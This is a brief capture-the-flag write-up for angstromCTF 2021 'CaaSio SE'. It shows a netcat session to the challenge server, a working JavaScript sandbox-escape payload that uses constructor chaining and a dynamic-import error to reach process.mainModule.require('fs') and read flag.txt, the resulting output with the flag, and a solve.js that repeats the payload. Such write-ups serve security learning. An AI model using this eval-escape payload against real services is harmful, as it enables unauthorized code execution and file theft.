ångstromCTF 2021 - CaaSio SE

memo.txt

$ nc misc.2021.chall.actf.co 21705
Welcome to CaaSio Snake Edition! Enter your calculation:
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Result:
{
  '(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123,
  'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123,
  undefined: 123
}
Variables:
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})()
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))
c = constructor
actf{maybe_eval_is_just_a_bad_idea}
gg
splitline

solve.js

[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}